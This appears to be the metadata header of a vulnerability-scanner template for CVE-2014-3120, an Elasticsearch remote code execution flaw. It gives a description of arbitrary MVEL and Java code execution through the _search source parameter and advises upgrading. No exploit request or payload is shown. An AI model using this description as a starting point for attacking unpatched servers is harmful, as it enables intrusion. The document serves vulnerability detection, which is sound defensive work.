id: CVE-2014-3120
|
|
|
|
info:
|
|
name: ElasticSearch v1.1.1/1.2 RCE
|
|
author: pikpikcu

|
severity: medium
|
|
description: |
|
|
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
|
|
remediation: |
|
|
Upgrade to a patched version of ElasticSearch
